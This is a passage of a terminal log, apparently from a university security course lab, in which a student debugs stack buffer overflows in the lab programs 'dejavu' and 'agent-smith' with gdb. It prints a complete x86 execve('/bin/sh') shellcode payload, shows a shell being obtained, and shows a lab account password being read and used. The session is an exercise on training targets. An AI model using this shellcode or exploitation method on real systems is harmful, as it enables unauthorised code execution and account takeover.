  717. Program received signal SIGSEGV, Segmentation fault.
  718. 0x895e1feb in ?? ()
  719. (gdb) quit
  720. A debugging session is active.
  721.  
  722. Inferior 1 [process 10697] will be killed.
  723.  
  724. Quit anyway? (y or n) ^[[A^[[A^[[B^[[B^[[By
  725. Please answer y or n.
  726. A debugging session is active.
  727.  
  728. Inferior 1 [process 10697] will be killed.
  729.  
  730. Quit anyway? (y or n) y
  731. vsftpd@pwnable:~$ vi egg
  732. vsftpd@pwnable:~$ ./egg > test
  733. File "./egg", line 5
  734. SyntaxError: Non-ASCII character '\xc2' in file ./egg on line 5, but no encoding declared; see http://www.python.org/peps/pep-0263.html for details
  735. vsftpd@pwnable:~$ vi egg
  736. vsftpd@pwnable:~$ ./egg > test
  737. vsftpd@pwnable:~$ invoke -d dejavu
  738. GNU gdb (GDB) 7.5-ubuntu
  739. Copyright (C) 2012 Free Software Foundation, Inc.
  740. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  741. This is free software: you are free to change and redistribute it.
  742. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  743. and "show warranty" for details.
  744. This GDB was configured as "i686-linux-gnu".
  745. For bug reporting instructions, please see:
  746. <http://www.gnu.org/software/gdb/bugs/>...
  747. Reading symbols from /home/vsftpd/dejavu...done.
  748. (gdb) Run < test
  749. Starting program: /home/vsftpd/dejavu < test
  750.  
  751. Program received signal SIGSEGV, Segmentation fault.
  752. 0x90f6ffbf in ?? ()
  753. (gdb) quit
  754. A debugging session is active.
  755.  
  756. Inferior 1 [process 11158] will be killed.
  757.  
  758. Quit anyway? (y or n) y
  759. vsftpd@pwnable:~$ vi egg
  760. vsftpd@pwnable:~$ vi egg
  761. vsftpd@pwnable:~$ ./egg > test
  762. vsftpd@pwnable:~$ invoke -d dejavu
  763. GNU gdb (GDB) 7.5-ubuntu
  764. Copyright (C) 2012 Free Software Foundation, Inc.
  765. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  766. This is free software: you are free to change and redistribute it.
  767. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  768. and "show warranty" for details.
  769. This GDB was configured as "i686-linux-gnu".
  770. For bug reporting instructions, please see:
  771. <http://www.gnu.org/software/gdb/bugs/>...
  772. Reading symbols from /home/vsftpd/dejavu...done.
  773. (gdb) Run < test
  774. Starting program: /home/vsftpd/dejavu < test
  775.  
  776. Program received signal SIGSEGV, Segmentation fault.
  777. 0x464646bf in ?? ()
  778. (gdb) quit
  779. A debugging session is active.
  780.  
  781. Inferior 1 [process 16061] will be killed.
  782.  
  783. Quit anyway? (y or n) y
  784. vsftpd@pwnable:~$ vi egg
  785. vsftpd@pwnable:~$ ./egg > test
  786. vsftpd@pwnable:~$ invoke -d dejavu
  787. GNU gdb (GDB) 7.5-ubuntu
  788. Copyright (C) 2012 Free Software Foundation, Inc.
  789. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  790. This is free software: you are free to change and redistribute it.
  791. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  792. and "show warranty" for details.
  793. This GDB was configured as "i686-linux-gnu".
  794. For bug reporting instructions, please see:
  795. <http://www.gnu.org/software/gdb/bugs/>...
  796. Reading symbols from /home/vsftpd/dejavu...done.
  797. (gdb) Run < test
  798. Starting program: /home/vsftpd/dejavu < test
  799.  
  800. Program received signal SIGSEGV, Segmentation fault.
  801. 0xeb303936 in ?? ()
  802. (gdb) quit
  803. A debugging session is active.
  804.  
  805. Inferior 1 [process 16606] will be killed.
  806.  
  807. Quit anyway? (y or n) y
  808. vsftpd@pwnable:~$ vi egg
  809. vsftpd@pwnable:~$ ./egg > test
  810. vsftpd@pwnable:~$ invoke -d dejavu
  811. GNU gdb (GDB) 7.5-ubuntu
  812. Copyright (C) 2012 Free Software Foundation, Inc.
  813. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  814. This is free software: you are free to change and redistribute it.
  815. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  816. and "show warranty" for details.
  817. This GDB was configured as "i686-linux-gnu".
  818. For bug reporting instructions, please see:
  819. <http://www.gnu.org/software/gdb/bugs/>...
  820. Reading symbols from /home/vsftpd/dejavu...done.
  821. (gdb) Run < test
  822. Starting program: /home/vsftpd/dejavu < test
  823.  
  824. Program received signal SIGSEGV, Segmentation fault.
  825. 0xeb303936 in ?? ()
  826. (gdb) b main
  827. Breakpoint 1 at 0x8048425: file dejavu.c, line 12.
  828. (gdb) r
  829. The program being debugged has been started already.
  830. Start it from the beginning? (y or n) y
  831. Starting program: /home/vsftpd/dejavu < test
  832.  
  833. Breakpoint 1, main () at dejavu.c:12
  834. 12 deja_vu();
  835. (gdb) layout split
  836. vsftpd@pwnable:~$ vi egg
  837. vsftpd@pwnable:~$ ./egg > test
  838. vsftpd@pwnable:~$ invoke -d dejavu
  839. GNU gdb (GDB) 7.5-ubuntu
  840. Copyright (C) 2012 Free Software Foundation, Inc.
  841. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  842. This is free software: you are free to change and redistribute it.
  843. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  844. and "show warranty" for details.
  845. This GDB was configured as "i686-linux-gnu".
  846. For bug reporting instructions, please see:
  847. <http://www.gnu.org/software/gdb/bugs/>...
  848. Reading symbols from /home/vsftpd/dejavu...done.
  849. (gdb) Run < test
  850. Starting program: /home/vsftpd/dejavu < test
  851.  
  852. Program received signal SIGSEGV, Segmentation fault.
  853. 0xc0310876 in ?? ()
  854. (gdb) quit
  855. A debugging session is active.
  856.  
  857. Inferior 1 [process 17132] will be killed.
  858.  
  859. Quit anyway? (y or n) y
  860. vsftpd@pwnable:~$ vi egg
  861. vsftpd@pwnable:~$ ./egg > test
  862. vsftpd@pwnable:~$ invoke -d dejavu
  863. GNU gdb (GDB) 7.5-ubuntu
  864. Copyright (C) 2012 Free Software Foundation, Inc.
  865. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  866. This is free software: you are free to change and redistribute it.
  867. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  868. and "show warranty" for details.
  869. This GDB was configured as "i686-linux-gnu".
  870. For bug reporting instructions, please see:
  871. <http://www.gnu.org/software/gdb/bugs/>...
  872. Reading symbols from /home/vsftpd/dejavu...done.
  873. (gdb) Run < test
  874. Starting program: /home/vsftpd/dejavu < test
  875.  
  876. Program received signal SIGSEGV, Segmentation fault.
  877. 0x895e1feb in ?? ()
  878. (gdb) quit
  879. A debugging session is active.
  880.  
  881. Inferior 1 [process 17184] will be killed.
  882.  
  883. Quit anyway? (y or n) y
  884. vsftpd@pwnable:~$ vi egg
  885. vsftpd@pwnable:~$ ./egg > test
  886. vsftpd@pwnable:~$ invoke -d dejavu
  887. GNU gdb (GDB) 7.5-ubuntu
  888. Copyright (C) 2012 Free Software Foundation, Inc.
  889. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  890. This is free software: you are free to change and redistribute it.
  891. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  892. and "show warranty" for details.
  893. This GDB was configured as "i686-linux-gnu".
  894. For bug reporting instructions, please see:
  895. <http://www.gnu.org/software/gdb/bugs/>...
  896. Reading symbols from /home/vsftpd/dejavu...done.
  897. (gdb) Run < test
  898. Starting program: /home/vsftpd/dejavu < test
  899.  
  900. Program received signal SIGSEGV, Segmentation fault.
  901. 0x90f6ffbf in ?? ()
  902. (gdb) quit
  903. A debugging session is active.
  904.  
  905. Inferior 1 [process 17233] will be killed.
  906.  
  907. Quit anyway? (y or n) y
  908. vsftpd@pwnable:~$ vi egg
  909. vsftpd@pwnable:~$ ./egg > test
  910. vsftpd@pwnable:~$ invoke -d dejavu
  911. GNU gdb (GDB) 7.5-ubuntu
  912. Copyright (C) 2012 Free Software Foundation, Inc.
  913. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  914. This is free software: you are free to change and redistribute it.
  915. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  916. and "show warranty" for details.
  917. This GDB was configured as "i686-linux-gnu".
  918. For bug reporting instructions, please see:
  919. <http://www.gnu.org/software/gdb/bugs/>...
  920. Reading symbols from /home/vsftpd/dejavu...done.
  921. (gdb) Run < test
  922. Starting program: /home/vsftpd/dejavu < test
  923.  
  924. Program received signal SIGSEGV, Segmentation fault.
  925. 0xc0310876 in ?? ()
  926. (gdb) quit
  927. A debugging session is active.
  928.  
  929. Inferior 1 [process 17276] will be killed.
  930.  
  931. Quit anyway? (y or n) y
  932. vsftpd@pwnable:~$ vi egg
  933. vsftpd@pwnable:~$ ./egg > test
  934. vsftpd@pwnable:~$ invoke -d dejavu
  935. GNU gdb (GDB) 7.5-ubuntu
  936. Copyright (C) 2012 Free Software Foundation, Inc.
  937. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  938. This is free software: you are free to change and redistribute it.
  939. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  940. and "show warranty" for details.
  941. This GDB was configured as "i686-linux-gnu".
  942. For bug reporting instructions, please see:
  943. <http://www.gnu.org/software/gdb/bugs/>...
  944. Reading symbols from /home/vsftpd/dejavu...done.
  945. (gdb) Run < test
  946. Starting program: /home/vsftpd/dejavu < test
  947.  
  948. Program received signal SIGSEGV, Segmentation fault.
  949. 0xc0310876 in ?? ()
  950. (gdb) quit
  951. A debugging session is active.
  952.  
  953. Inferior 1 [process 17494] will be killed.
  954.  
  955. Quit anyway? (y or n) y
  956. vsftpd@pwnable:~$ vi egg
  957. vsftpd@pwnable:~$ ./egg > test
  958. vsftpd@pwnable:~$ invoke -d dejavu
  959. GNU gdb (GDB) 7.5-ubuntu
  960. Copyright (C) 2012 Free Software Foundation, Inc.
  961. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  962. This is free software: you are free to change and redistribute it.
  963. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  964. and "show warranty" for details.
  965. This GDB was configured as "i686-linux-gnu".
  966. For bug reporting instructions, please see:
  967. <http://www.gnu.org/software/gdb/bugs/>...
  968. Reading symbols from /home/vsftpd/dejavu...done.
  969. (gdb) Run < test
  970. Starting program: /home/vsftpd/dejavu < test
  971.  
  972. Program received signal SIGSEGV, Segmentation fault.
  973. 0x895e1feb in ?? ()
  974. (gdb) quit
  975. A debugging session is active.
  976.  
  977. Inferior 1 [process 17528] will be killed.
  978.  
  979. Quit anyway? (y or n) y
  980. vsftpd@pwnable:~$ vi egg
  981. vsftpd@pwnable:~$ ./egg > test
  982. vsftpd@pwnable:~$ invoke -d dejavu
  983. GNU gdb (GDB) 7.5-ubuntu
  984. Copyright (C) 2012 Free Software Foundation, Inc.
  985. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  986. This is free software: you are free to change and redistribute it.
  987. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  988. and "show warranty" for details.
  989. This GDB was configured as "i686-linux-gnu".
  990. For bug reporting instructions, please see:
  991. <http://www.gnu.org/software/gdb/bugs/>...
  992. Reading symbols from /home/vsftpd/dejavu...done.
  993. (gdb) Run < test
  994. Starting program: /home/vsftpd/dejavu < test
  995. process 17563 is executing new program: /bin/dash
  996. [Inferior 1 (process 17563) exited normally]
  997. (gdb) c
  998. The program is not being run.
  999. (gdb) Run < test
  1000. Starting program: /bin/dash < test
  1001. /bin/dash: 1: junkjunkjunkjunkjunk?????^?1??F?F
  1002. ?
  1003. ???V
  1004. ̀1ۉ?@̀?????/bin/sh: not found
  1005. [Inferior 1 (process 17594) exited with code 0177]
  1006. (gdb) quit
  1007. vsftpd@pwnable:~$ ./egg > test
  1008. vsftpd@pwnable:~$ invoke -d dejavu
  1009. GNU gdb (GDB) 7.5-ubuntu
  1010. Copyright (C) 2012 Free Software Foundation, Inc.
  1011. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1012. This is free software: you are free to change and redistribute it.
  1013. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1014. and "show warranty" for details.
  1015. This GDB was configured as "i686-linux-gnu".
  1016. For bug reporting instructions, please see:
  1017. <http://www.gnu.org/software/gdb/bugs/>...
  1018. Reading symbols from /home/vsftpd/dejavu...done.
  1019. (gdb) Run < test
  1020. Starting program: /home/vsftpd/dejavu < test
  1021. process 17622 is executing new program: /bin/dash
  1022. [Inferior 1 (process 17622) exited normally]
  1023. (gdb) quit
  1024. vsftpd@pwnable:~$ vi exploit
  1025. vsftpd@pwnable:~$ ./egg > test
  1026. vsftpd@pwnable:~$ invoke -d dejavu
  1027. GNU gdb (GDB) 7.5-ubuntu
  1028. Copyright (C) 2012 Free Software Foundation, Inc.
  1029. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1030. This is free software: you are free to change and redistribute it.
  1031. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1032. and "show warranty" for details.
  1033. This GDB was configured as "i686-linux-gnu".
  1034. For bug reporting instructions, please see:
  1035. <http://www.gnu.org/software/gdb/bugs/>...
  1036. Reading symbols from /home/vsftpd/dejavu...done.
  1037. (gdb) Run < test
  1038. Starting program: /home/vsftpd/dejavu < test
  1039. process 17722 is executing new program: /bin/dash
  1040. [Inferior 1 (process 17722) exited normally]
  1041. (gdb) ls
  1042. Undefined command: "ls". Try "help".
  1043. (gdb) whoami
  1044. Undefined command: "whoami". Try "help".
  1045. (gdb) q
  1046. vsftpd@pwnable:~$ ls
  1047. dejavu dejavu.c egg exploit README test WELCOME
  1048. vsftpd@pwnable:~$ ./dejavu.c
  1049. -bash: ./dejavu.c: Permission denied
  1050. vsftpd@pwnable:~$ vim exploit
  1051. vsftpd@pwnable:~$ exploit
  1052. exploit: command not found
  1053. vsftpd@pwnable:~$ ./exploit
  1054. ^C
  1055. vsftpd@pwnable:~$ sh exploit
  1056. ^C
  1057. vsftpd@pwnable:~$ chmod +x exploit
  1058. vsftpd@pwnable:~$ ./exploit
  1059. ls
  1060. README WELCOME dejavu dejavu.c egg exploit test
  1061. whoami
  1062. smith
  1063. cat README
  1064. Welcome to the real world.
  1065.  
  1066. user: smith
  1067. pass: f6g(Bz{w
  1068. ^C
  1069. vsftpd@pwnable:~$ exit
  1070. logout
  1071. Connection to 127.0.0.1 closed.
  1072. Rameshs-MacBook-Pro-3:~ Tara$ ssh -p 2222 smith@127.0.0.1
  1073. f6(Bz{w
  1074. smith@127.0.0.1's password:
  1075. Permission denied, please try again.
  1076. smith@127.0.0.1's password:
  1077. Permission denied, please try again.
  1078. smith@127.0.0.1's password:
  1079.  
  1080. Rameshs-MacBook-Pro-3:~ Tara$ ssh -p 2222 smith@127.0.0.1
  1081. smith@127.0.0.1's password:
  1082.  
  1083. The programs included with the Ubuntu system are free software;
  1084. the exact distribution terms for each program are described in the
  1085. individual files in /usr/share/doc/*/copyright.
  1086.  
  1087. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
  1088. applicable law.
  1089.  
  1090. _/ _/
  1091. _/_/_/ _/ _/ _/ _/_/_/ _/_/_/ _/_/_/ _/ _/_/
  1092. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/
  1093. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
  1094. _/_/_/ _/ _/ _/ _/ _/_/_/ _/_/_/ _/ _/_/_/
  1095. _/
  1096. _/
  1097.  
  1098. Last login: Thu Jan 28 11:52:00 2016 from 10.0.2.2
  1099. smith@pwnable:~$ ls
  1100. agent-smith agent-smith.c anderson.txt exploit generate-file-contents README
  1101. smith@pwnable:~$ Connection to 127.0.0.1 closed by remote host.
  1102. Connection to 127.0.0.1 closed.
  1103. Rameshs-MacBook-Pro-3:~ Tara$
  1104. [Restored Feb 6, 2017, 10:33:01 PM]
  1105. Last login: Mon Feb 6 22:32:51 on console
  1106. Rameshs-MacBook-Pro-3:~ Tara$ ssh -p 2222 smith@127.0.01
  1107. The authenticity of host '[127.0.01]:2222 ([127.0.0.1]:2222)' can't be established.
  1108. ECDSA key fingerprint is SHA256:0d25HRmF+6QJGKx2XcQDAMcqfc9+rzEmjcM50tev8+c.
  1109. Are you sure you want to continue connecting (yes/no)? yes
  1110. Warning: Permanently added '[127.0.01]:2222' (ECDSA) to the list of known hosts.
  1111. smith@127.0.01's password:
  1112. _/ _/
  1113. _/_/_/ _/ _/ _/ _/_/_/ _/_/_/ _/_/_/ _/ _/_/
  1114. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/
  1115. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
  1116. _/_/_/ _/ _/ _/ _/ _/_/_/ _/_/_/ _/ _/_/_/
  1117. _/
  1118. _/
  1119.  
  1120. Last login: Sun Feb 5 23:11:34 2017 from 10.0.2.2
  1121. smith@pwnable:~$ ls
  1122. agent-smith agent-smith.c anderson.txt exploit generate-file-contents README
  1123. smith@pwnable:~$ vi agent-smith.c
  1124. smith@pwnable:~$ ls
  1125. agent-smith anderson.txt generate-file-contents
  1126. agent-smith.c exploit README
  1127. smith@pwnable:~$ vi generate-file-contents
  1128. smith@pwnable:~$ vi generate-file-contents
  1129. smith@pwnable:~$ vi agent-smith.c
  1130. smith@pwnable:~$ vi egg
  1131. smith@pwnable:~$ vi agent-smith.c
  1132. smith@pwnable:~$ vi generate-file-contents
  1133. smith@pwnable:~$ vi blah
  1134. smith@pwnable:~$ la
  1135. agent-smith .bashrc egg .profile .viminfo
  1136. agent-smith.c blah exploit README
  1137. anderson.txt .cache generate-file-contents .ssh
  1138. smith@pwnable:~$ ls
  1139. agent-smith anderson.txt egg generate-file-contents
  1140. agent-smith.c blah exploit README
  1141. smith@pwnable:~$ ./ generate-file-contents < blah
  1142. -bash: ./: Is a directory
  1143. smith@pwnable:~$ ./generate-file-contents < blah
  1144. We are doing our 161 project in main stacks then we have 170 lecture there is
  1145. a lot of work to do we have an essay and at least
  1146. smith@pwnable:~$ vi blah
  1147. smith@pwnable:~$ ./generate-file-contents < blah
  1148. #!/usr/bin/env python
  1149.  
  1150. def main():
  1151. print(" We are doing our 161 project in main stacks then we have 170 lecture
  1152. there is a
  1153. smith@pwnable:~$ ls
  1154. agent-smith anderson.txt egg generate-file-contents
  1155. agent-smith.c blah exploit README
  1156. smith@pwnable:~$ vi egg
  1157. smith@pwnable:~$ vi egg
  1158. smith@pwnable:~$ vi egg
  1159. smith@pwnable:~$ chmod +x egg
  1160. smith@pwnable:~$ ls
  1161. agent-smith anderson.txt egg generate-file-contents
  1162. agent-smith.c blah exploit README
  1163. smith@pwnable:~$ ./egg > pwnzerized
  1164. smith@pwnable:~$ invoke agent-smith pwnzerized
  1165. """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1166. Segmentation fault
  1167. smith@pwnable:~$ ./egg > test
  1168. smith@pwnable:~$ invoke agent-smith test
  1169. """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1170. Segmentation fault
  1171. smith@pwnable:~$ vi egg
  1172. smith@pwnable:~$ python egg
  1173. ?""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""ADDR?^?1??F?F
  1174. ?
  1175. ???V
  1176. ̀1ۉ?@̀?????/bin/sh
  1177. smith@pwnable:~$ vi egg
  1178. smith@pwnable:~$ ./egg > test
  1179. ./egg: line 1: xffx22x22x22x01x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x02x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x03x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x04x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x05x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x06x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x07x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x08x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22ADDRxebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68: command not found
  1180. smith@pwnable:~$ invoke agent-smith test
  1181. smith@pwnable:~$ ls
  1182. agent-smith agent-smith.c anderson.txt blah egg exploit generate-file-contents pwnzerized README test
  1183. smith@pwnable:~$ vi generate-file-contents
  1184. smith@pwnable:~$ vi blah
  1185. smith@pwnable:~$ ./generate-file-contents blah
  1186. #!/usr/bin/env python
  1187.  
  1188. def main():
  1189. print(" We are doing our 161 project in main stacks then we have 170 lecture
  1190. there is a
  1191. smith@pwnable:~$ vi pwnzerized
  1192. smith@pwnable:~$ ls
  1193. agent-smith agent-smith.c anderson.txt blah egg exploit generate-file-contents pwnzerized README test
  1194. smith@pwnable:~$ vi pwnzerized
  1195. smith@pwnable:~$ vim exploit
  1196. smith@pwnable:~$ ./exploit
  1197. ./egg: 1: ./egg: xffx22x22x22x01x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x02x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x03x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x04x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x05x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x06x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x07x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x08x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22ADDRxebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68: File name too long
  1198. smith@pwnable:~$ vi egg
  1199. smith@pwnable:~$ vim pwnzerized
  1200. smith@pwnable:~$ vim generate-file-contents
  1201. smith@pwnable:~$ vim agent-smith
  1202. smith@pwnable:~$ vim a
  1203. agent-smith agent-smith.c anderson.txt
  1204. smith@pwnable:~$ vim a
  1205. agent-smith agent-smith.c anderson.txt
  1206. smith@pwnable:~$ vim agent-smith.c
  1207. smith@pwnable:~$ vim anderson.txt
  1208. smith@pwnable:~$ ./generate-file-contents anderson.txt
  1209. {zYou have a problem with authority, Mr. Anderson.
  1210. You believe you are special, that somehow the rules do not apply to you.
  1211. smith@pwnable:~$ vim agent-smith.c
  1212. smith@pwnable:~$ ./exploit
  1213. ./egg: 1: ./egg: xffx22x22x22x01x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x02x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x03x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x04x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x05x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x06x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x07x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x08x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22x22ADDRxebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68: File name too long
  1214. smith@pwnable:~$ vim egg
  1215. smith@pwnable:~$ python egg
  1216. ?""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""ADDR?^?1??F?F
  1217. ?
  1218. ???V
  1219. ̀1ۉ?@̀?????/bin/sh
  1220. smith@pwnable:~$ ./exploit
  1221. """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1222. Segmentation fault
  1223. smith@pwnable:~$ run exploit
  1224. No command 'run' found, did you mean:
  1225. Command 'zrun' from package 'moreutils' (universe)
  1226. Command 'runq' from package 'exim4-daemon-heavy' (main)
  1227. Command 'runq' from package 'exim4-daemon-light' (main)
  1228. Command 'runq' from package 'sendmail-bin' (universe)
  1229. Command 'grun' from package 'grun' (universe)
  1230. Command 'qrun' from package 'torque-client' (universe)
  1231. Command 'qrun' from package 'torque-client-x11' (universe)
  1232. Command 'lrun' from package 'lustre-utils' (universe)
  1233. Command 'rn' from package 'trn' (multiverse)
  1234. Command 'rn' from package 'trn4' (multiverse)
  1235. Command 'rup' from package 'rstat-client' (universe)
  1236. Command 'srun' from package 'slurm-llnl' (universe)
  1237. run: command not found
  1238. smith@pwnable:~$ exploit
  1239. exploit: command not found
  1240. smith@pwnable:~$ vim egg
  1241. smith@pwnable:~$ ./exploit
  1242. junk"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1243. Segmentation fault
  1244. smith@pwnable:~$ invoke exploit
  1245. junk"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1246. Segmentation fault
  1247. smith@pwnable:~$ vim exploit
  1248. smith@pwnable:~$ egg > pwnzerized
  1249. No command 'egg' found, did you mean:
  1250. Command 'eg' from package 'easygit' (universe)
  1251. Command 'ekg' from package 'ekg' (universe)
  1252. Command 'ekg' from package 'ekg-gtk' (universe)
  1253. Command 'eog' from package 'eog' (main)
  1254. egg: command not found
  1255. smith@pwnable:~$ egg > pwnzerized
  1256. No command 'egg' found, did you mean:
  1257. Command 'eg' from package 'easygit' (universe)
  1258. Command 'ekg' from package 'ekg' (universe)
  1259. Command 'ekg' from package 'ekg-gtk' (universe)
  1260. Command 'eog' from package 'eog' (main)
  1261. egg: command not found
  1262. smith@pwnable:~$ ./egg > pwnzerized
  1263. smith@pwnable:~$ invoke -d agent-smith pwnzerized
  1264. GNU gdb (GDB) 7.5-ubuntu
  1265. Copyright (C) 2012 Free Software Foundation, Inc.
  1266. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1267. This is free software: you are free to change and redistribute it.
  1268. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1269. and "show warranty" for details.
  1270. This GDB was configured as "i686-linux-gnu".
  1271. For bug reporting instructions, please see:
  1272. <http://www.gnu.org/software/gdb/bugs/>...
  1273. Reading symbols from /home/smith/agent-smith...done.
  1274. (gdb) r
  1275. Starting program: /home/smith/agent-smith pwnzerized
  1276. junk"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1277.  
  1278. Program received signal SIGSEGV, Segmentation fault.
  1279. 0x0876895e in ?? ()
  1280. (gdb) b main
  1281. Breakpoint 1 at 0x804855e: file agent-smith.c, line 23.
  1282. (gdb) r
  1283. The program being debugged has been started already.
  1284. Start it from the beginning? (y or n) y
  1285. Starting program: /home/smith/agent-smith pwnzerized
  1286.  
  1287. Breakpoint 1, main (argc=2, argv=0xbffff724) at agent-smith.c:23
  1288. 23 if (argc != 2)
  1289. (gdb) layout split
  1290. smith@pwnable:~$ vim egg
  1291. smith@pwnable:~$ vim egg
  1292. smith@pwnable:~$ ./egg > pwnzerized
  1293. smith@pwnable:~$ invoke -d agent-smith pwnzerized
  1294. GNU gdb (GDB) 7.5-ubuntu
  1295. Copyright (C) 2012 Free Software Foundation, Inc.
  1296. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1297. This is free software: you are free to change and redistribute it.
  1298. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1299. and "show warranty" for details.
  1300. This GDB was configured as "i686-linux-gnu".
  1301. For bug reporting instructions, please see:
  1302. <http://www.gnu.org/software/gdb/bugs/>...
  1303. Reading symbols from /home/smith/agent-smith...done.
  1304. (gdb) layout split
  1305. smith@pwnable:~$ vim egg
  1306. smith@pwnable:~$ ./egg > pwnzerized
  1307. smith@pwnable:~$ invoke -d agent-smith pwnzerized
  1308. GNU gdb (GDB) 7.5-ubuntu
  1309. Copyright (C) 2012 Free Software Foundation, Inc.
  1310. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1311. This is free software: you are free to change and redistribute it.
  1312. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1313. and "show warranty" for details.
  1314. This GDB was configured as "i686-linux-gnu".
  1315. For bug reporting instructions, please see:
  1316. <http://www.gnu.org/software/gdb/bugs/>...
  1317. Reading symbols from /home/smith/agent-smith...done.
  1318. (gdb) r
  1319. Starting program: /home/smith/agent-smith pwnzerized
  1320. junk"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""?
  1321.  
  1322. Program received signal SIGSEGV, Segmentation fault.
  1323. 0x76895e1f in ?? ()
  1324. (gdb) q
  1325. A debugging session is active.
  1326.  
  1327. Inferior 1 [process 4097] will be killed.
  1328.  
  1329. Quit anyway? (y or n) y
  1330. smith@pwnable:~$ vim egg
  1331. smith@pwnable:~$ ./egg > pwnzerized
  1332. smith@pwnable:~$ invoke -d agent-smith pwnzerized
  1333. GNU gdb (GDB) 7.5-ubuntu
  1334. Copyright (C) 2012 Free Software Foundation, Inc.
  1335. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1336. This is free software: you are free to change and redistribute it.
  1337. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1338. and "show warranty" for details.
